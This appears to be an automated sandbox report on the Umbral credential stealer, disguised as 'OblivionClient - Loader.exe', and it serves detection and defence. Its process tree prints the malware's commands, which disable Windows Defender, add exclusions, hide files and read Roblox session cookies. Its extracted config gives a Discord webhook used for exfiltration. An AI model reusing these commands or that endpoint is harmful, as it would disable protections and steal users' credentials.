umbral | be1584009cafff5d8f18674e6d2ea65085af54d372536c3dff3808c3bcdec576

Analysis

max time kernel
47s
max time network
153s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20-01-2025 12:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

OblivionClient - Loader.exe
Size

40.8MB
MD5

2b44034e50129f5147fdf24ecff3c206
SHA1

05ecb9594f74a0f567072fba224f07ebcfb524fa
SHA256

be1584009cafff5d8f18674e6d2ea65085af54d372536c3dff3808c3bcdec576
SHA512

212276778f9ad9f2ac08c5ff329880a068d1f0f1fc24474bab37e81e676fd4cf9bb0ae2ff68552997afb2e9ebd19c0e192526fa2c156ffb1e0d30dc168339cf5
SSDEEP

786432:LyQZMFClCtlII/CnlxrH4T4Vu862kpkKOWck7UazNyF3S6ghQbhEhNLBsEzP:LyQZkVlII/CnlxrH4J862kpkq/pzoahj

Score

10^/10

umbral defense_evasion discovery execution spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1329440770691956766/qs37sN2tGU-PNRiavv55Hvi1x0ymk-iw6Q12F2EL_j7u4_L0nijRqx5rIFVK9KPg7DEj

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0014000000016fc9-10.dat	family_umbral
behavioral1/memory/2284-19-0x0000000000C90000-0x0000000000CD0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1396	powershell.exe
2308	powershell.exe
3064	powershell.exe
580	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	wininit.exe

Executes dropped EXE 3 IoCs

pid	Process
2972	csrss.exe
2284	wininit.exe
2896	OblivionLoader.exe

Loads dropped DLL 4 IoCs

pid	Process
2304	OblivionClient - Loader.exe
2844	Process not Found
2304	OblivionClient - Loader.exe
2304	OblivionClient - Loader.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OblivionClient - Loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2304	cmd.exe
2532	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1556	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2532	PING.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2824	powershell.exe
2284	wininit.exe
1396	powershell.exe
2308	powershell.exe
3064	powershell.exe
2224	powershell.exe
580	powershell.exe
2512	chrome.exe
2512	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2284	wininit.exe
Token: SeIncreaseQuotaPrivilege	2552	wmic.exe
Token: SeSecurityPrivilege	2552	wmic.exe
Token: SeTakeOwnershipPrivilege	2552	wmic.exe
Token: SeLoadDriverPrivilege	2552	wmic.exe
Token: SeSystemProfilePrivilege	2552	wmic.exe
Token: SeSystemtimePrivilege	2552	wmic.exe
Token: SeProfSingleProcessPrivilege	2552	wmic.exe
Token: SeIncBasePriorityPrivilege	2552	wmic.exe
Token: SeCreatePagefilePrivilege	2552	wmic.exe
Token: SeBackupPrivilege	2552	wmic.exe
Token: SeRestorePrivilege	2552	wmic.exe
Token: SeShutdownPrivilege	2552	wmic.exe
Token: SeDebugPrivilege	2552	wmic.exe
Token: SeSystemEnvironmentPrivilege	2552	wmic.exe
Token: SeRemoteShutdownPrivilege	2552	wmic.exe
Token: SeUndockPrivilege	2552	wmic.exe
Token: SeManageVolumePrivilege	2552	wmic.exe
Token: 33	2552	wmic.exe
Token: 34	2552	wmic.exe
Token: 35	2552	wmic.exe
Token: SeIncreaseQuotaPrivilege	2552	wmic.exe
Token: SeSecurityPrivilege	2552	wmic.exe
Token: SeTakeOwnershipPrivilege	2552	wmic.exe
Token: SeLoadDriverPrivilege	2552	wmic.exe
Token: SeSystemProfilePrivilege	2552	wmic.exe
Token: SeSystemtimePrivilege	2552	wmic.exe
Token: SeProfSingleProcessPrivilege	2552	wmic.exe
Token: SeIncBasePriorityPrivilege	2552	wmic.exe
Token: SeCreatePagefilePrivilege	2552	wmic.exe
Token: SeBackupPrivilege	2552	wmic.exe
Token: SeRestorePrivilege	2552	wmic.exe
Token: SeShutdownPrivilege	2552	wmic.exe
Token: SeDebugPrivilege	2552	wmic.exe
Token: SeSystemEnvironmentPrivilege	2552	wmic.exe
Token: SeRemoteShutdownPrivilege	2552	wmic.exe
Token: SeUndockPrivilege	2552	wmic.exe
Token: SeManageVolumePrivilege	2552	wmic.exe
Token: 33	2552	wmic.exe
Token: 34	2552	wmic.exe
Token: 35	2552	wmic.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeIncreaseQuotaPrivilege	2192	wmic.exe
Token: SeSecurityPrivilege	2192	wmic.exe
Token: SeTakeOwnershipPrivilege	2192	wmic.exe
Token: SeLoadDriverPrivilege	2192	wmic.exe
Token: SeSystemProfilePrivilege	2192	wmic.exe
Token: SeSystemtimePrivilege	2192	wmic.exe
Token: SeProfSingleProcessPrivilege	2192	wmic.exe
Token: SeIncBasePriorityPrivilege	2192	wmic.exe
Token: SeCreatePagefilePrivilege	2192	wmic.exe
Token: SeBackupPrivilege	2192	wmic.exe
Token: SeRestorePrivilege	2192	wmic.exe
Token: SeShutdownPrivilege	2192	wmic.exe
Token: SeDebugPrivilege	2192	wmic.exe
Token: SeSystemEnvironmentPrivilege	2192	wmic.exe
Token: SeRemoteShutdownPrivilege	2192	wmic.exe
Token: SeUndockPrivilege	2192	wmic.exe
Token: SeManageVolumePrivilege	2192	wmic.exe
Token: 33	2192	wmic.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe
2512	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 2824	2304	OblivionClient - Loader.exe	29
PID 2304 wrote to memory of 2824	2304	OblivionClient - Loader.exe	29
PID 2304 wrote to memory of 2824	2304	OblivionClient - Loader.exe	29
PID 2304 wrote to memory of 2824	2304	OblivionClient - Loader.exe	29
PID 2304 wrote to memory of 2972	2304	OblivionClient - Loader.exe	31
PID 2304 wrote to memory of 2972	2304	OblivionClient - Loader.exe	31
PID 2304 wrote to memory of 2972	2304	OblivionClient - Loader.exe	31
PID 2304 wrote to memory of 2972	2304	OblivionClient - Loader.exe	31
PID 2304 wrote to memory of 2284	2304	OblivionClient - Loader.exe	33
PID 2304 wrote to memory of 2284	2304	OblivionClient - Loader.exe	33
PID 2304 wrote to memory of 2284	2304	OblivionClient - Loader.exe	33
PID 2304 wrote to memory of 2284	2304	OblivionClient - Loader.exe	33
PID 2304 wrote to memory of 2896	2304	OblivionClient - Loader.exe	34
PID 2304 wrote to memory of 2896	2304	OblivionClient - Loader.exe	34
PID 2304 wrote to memory of 2896	2304	OblivionClient - Loader.exe	34
PID 2304 wrote to memory of 2896	2304	OblivionClient - Loader.exe	34
PID 2284 wrote to memory of 2552	2284	wininit.exe	35
PID 2284 wrote to memory of 2552	2284	wininit.exe	35
PID 2284 wrote to memory of 2552	2284	wininit.exe	35
PID 2284 wrote to memory of 2080	2284	wininit.exe	38
PID 2284 wrote to memory of 2080	2284	wininit.exe	38
PID 2284 wrote to memory of 2080	2284	wininit.exe	38
PID 2284 wrote to memory of 1396	2284	wininit.exe	40
PID 2284 wrote to memory of 1396	2284	wininit.exe	40
PID 2284 wrote to memory of 1396	2284	wininit.exe	40
PID 2284 wrote to memory of 2308	2284	wininit.exe	42
PID 2284 wrote to memory of 2308	2284	wininit.exe	42
PID 2284 wrote to memory of 2308	2284	wininit.exe	42
PID 2284 wrote to memory of 3064	2284	wininit.exe	44
PID 2284 wrote to memory of 3064	2284	wininit.exe	44
PID 2284 wrote to memory of 3064	2284	wininit.exe	44
PID 2284 wrote to memory of 2224	2284	wininit.exe	46
PID 2284 wrote to memory of 2224	2284	wininit.exe	46
PID 2284 wrote to memory of 2224	2284	wininit.exe	46
PID 2284 wrote to memory of 2192	2284	wininit.exe	48
PID 2284 wrote to memory of 2192	2284	wininit.exe	48
PID 2284 wrote to memory of 2192	2284	wininit.exe	48
PID 2284 wrote to memory of 2328	2284	wininit.exe	50
PID 2284 wrote to memory of 2328	2284	wininit.exe	50
PID 2284 wrote to memory of 2328	2284	wininit.exe	50
PID 2284 wrote to memory of 900	2284	wininit.exe	52
PID 2284 wrote to memory of 900	2284	wininit.exe	52
PID 2284 wrote to memory of 900	2284	wininit.exe	52
PID 2284 wrote to memory of 580	2284	wininit.exe	54
PID 2284 wrote to memory of 580	2284	wininit.exe	54
PID 2284 wrote to memory of 580	2284	wininit.exe	54
PID 2512 wrote to memory of 1148	2512	chrome.exe	57
PID 2512 wrote to memory of 1148	2512	chrome.exe	57
PID 2512 wrote to memory of 1148	2512	chrome.exe	57
PID 2284 wrote to memory of 1556	2284	wininit.exe	58
PID 2284 wrote to memory of 1556	2284	wininit.exe	58
PID 2284 wrote to memory of 1556	2284	wininit.exe	58
PID 2512 wrote to memory of 1304	2512	chrome.exe	60
PID 2512 wrote to memory of 1304	2512	chrome.exe	60
PID 2512 wrote to memory of 1304	2512	chrome.exe	60
PID 2512 wrote to memory of 1304	2512	chrome.exe	60
PID 2512 wrote to memory of 1304	2512	chrome.exe	60
PID 2512 wrote to memory of 1304	2512	chrome.exe	60
PID 2512 wrote to memory of 1304	2512	chrome.exe	60
PID 2512 wrote to memory of 1304	2512	chrome.exe	60
PID 2512 wrote to memory of 1304	2512	chrome.exe	60
PID 2512 wrote to memory of 1304	2512	chrome.exe	60
PID 2512 wrote to memory of 1304	2512	chrome.exe	60
PID 2512 wrote to memory of 1304	2512	chrome.exe	60

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2080	attrib.exe

C:\Users\Admin\AppData\Local\Temp\OblivionClient - Loader.exe
"C:\Users\Admin\AppData\Local\Temp\OblivionClient - Loader.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAcABzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAbgBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHgAaABxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGkAeABuACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824
- C:\Users\Admin\AppData\Local\Temp\csrss.exe
  "C:\Users\Admin\AppData\Local\Temp\csrss.exe"
  2⤵
  - Executes dropped EXE
  PID:2972
- C:\Users\Admin\AppData\Local\Temp\wininit.exe
  "C:\Users\Admin\AppData\Local\Temp\wininit.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2552
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\wininit.exe"
    3⤵
    - Views/modifies file attributes
    PID:2080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\wininit.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2224
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2192
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:2328
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:580
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1556
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\wininit.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2304
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2532
- C:\Users\Admin\AppData\Local\Temp\OblivionLoader.exe
  "C:\Users\Admin\AppData\Local\Temp\OblivionLoader.exe"
  2⤵
  - Executes dropped EXE
  PID:2896

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7feea5e9758,0x7feea5e9768,0x7feea5e9778
  2⤵
  PID:1148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1144 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:2
  2⤵
  PID:1304
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1488 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:8
  2⤵
  PID:916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1632 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:8
  2⤵
  PID:1680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2276 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:1
  2⤵
  PID:608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2296 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:1
  2⤵
  PID:2096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1232 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:2
  2⤵
  PID:3040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3184 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:1
  2⤵
  PID:2212
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3680 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:8
  2⤵
  PID:2356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=3840 --field-trial-handle=1164,i,10117909292754028868,12661900146354515083,131072 /prefetch:1
  2⤵
  PID:2160

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000005

Filesize
215KB

MD5
d474ec7f8d58a66420b6daa0893a4874

SHA1
4314642571493ba983748556d0e76ec6704da211

SHA256
553a19b6f44f125d9594c02231e4217e9d74d92b7065dc996d92f1e53f6bcb69

SHA512
344062d1be40db095abb7392b047b16f33ea3043158690cf66a2fa554aa2db79c4aa68de1308f1eddf6b9140b9ac5de70aad960b4e8e8b91f105213c4aace348

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
5KB

MD5
219d838989fa9b91649f1cb781fbad30

SHA1
a2ccfb37cfc900fbfa6602a150b8679bdaae310e

SHA256
71ce917b182df33f0865fd3b30cc89dd81989cb27b1be06f31f2df63675ed013

SHA512
5800dd73658b509cb1ecdc7a1ec4f829245cdded348ce82b28307fee117817931820958895f6ca5a03ccafcfcd00fbe557b02e2aa3c537d457645f72665ff5d7

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
5KB

MD5
86466ff309fc7671441d95cbc9c7a650

SHA1
c7c128df618e251dc1942c77cf5da869a4c7158e

SHA256
98d88a7556e48929cb4854b577f943f05d127de7c83409ae47171745ce0f4686

SHA512
3843065af3e55726151d78b3d755a9af3885d78fc25f033bcf71941a0e2fffae25c1560d4ad05f6ea3c9c5f3612e5310e63224180c891f86665fedb8728c6137

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
4KB

MD5
930c20c6703c68397fdf91c1bb0d36b9

SHA1
54df554613f4c909f555eecbe0daa17a47cda87b

SHA256
f13759683aba03b92cee8a5ea0bdf40370c949160b84dd3e54de336d0ef342f2

SHA512
be903c45d07cace4b0856f25d2737be1436487112c349f38c32775395dce658db73bd3195287afabc272fb1140cac127b402e3691f3c5cca8445ea8781f977e5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000007.dbtmp

Filesize
16B

MD5
18e723571b00fb1694a3bad6c78e4054

SHA1
afcc0ef32d46fe59e0483f9a3c891d3034d12f32

SHA256
8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

SHA512
43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss.exe

Filesize
37.2MB

MD5
26a7e5a17d53f8709cfc9ebd583459a7

SHA1
b3090549b8ccf277612b568a4e5f6177ab5334c6

SHA256
b75157e6d824a7df8a05622d200c801f35ff53b6022fab575355d099220aa4d2

SHA512
0bf643adcfd5318d88a20785a31aca0219c21ae81c388405ee9f4adfe59cfcf88a436264c8d1724988c614fa945bd2d2a99ec151d1b9601b1c8a0bab9a333106

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
adc5ead2f015aa5e8579a3b294ea1483

SHA1
68f4a2d864b6dbe4319aa4e8b1b05654ff4d475c

SHA256
0cf8d95fa2a5b6ce65efd0173238ec7b775d40c3c8b41476c444bd84f20604b6

SHA512
54dd780c859a17168e256a6ca4236ea796d002bbe92eba13da477227b21f51416b1b88553472984da3f3e93a3c54a946ea8e5fc0416f80d34a027187229ed049

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
2KB

MD5
577f27e6d74bd8c5b7b0371f2b1e991c

SHA1
b334ccfe13792f82b698960cceaee2e690b85528

SHA256
0ade9ef91b5283eceb17614dd47eb450a5a2a371c410232552ad80af4fbfd5f9

SHA512
944b09b6b9d7c760b0c5add40efd9a25197c22e302c3c7e6d3f4837825ae9ee73e8438fc2c93e268da791f32deb70874799b8398ebae962a9fc51c980c7a5f5c

Download Submit
\Users\Admin\AppData\Local\Temp\OblivionLoader.exe

Filesize
3.3MB

MD5
fd80fb2330bab1bf16540543585b392e

SHA1
7214d0bf0561b3d571c26f495a3e2eccf5038557

SHA256
07a727c8555a5f5ed8bbd72a8c3afde5e1570fe9d4b383009a71fafec692f567

SHA512
b13d6c668871849264a2419d1cc6c95d98e4aad93a38c72dc48b92f72f099577e3fdc69b648aa00b355c140e7d3cb53947c36c849453885aacd4a0731ce265f7

Download Submit
\Users\Admin\AppData\Local\Temp\wininit.exe

Filesize
230KB

MD5
5e48a4e58fa2e9584c5a3b37dff630a3

SHA1
6f28ff8b9ca467eb80306abc46f63677bfcc0e56

SHA256
5088ab958c58c4cea16918464ae7a90d0a75a3f1d92acd5d52bdad80a95e61a8

SHA512
88c3ada9f8b6ae43c0e1736924f86081cb3358a8ec5db712acd7133588f158495533e8fa0fb83143c092942eabd0ffc79017ee7621400f9c263e925b42181bea

Download Submit
memory/580-62-0x000000001B260000-0x000000001B542000-memory.dmp

Filesize
2.9MB

Download
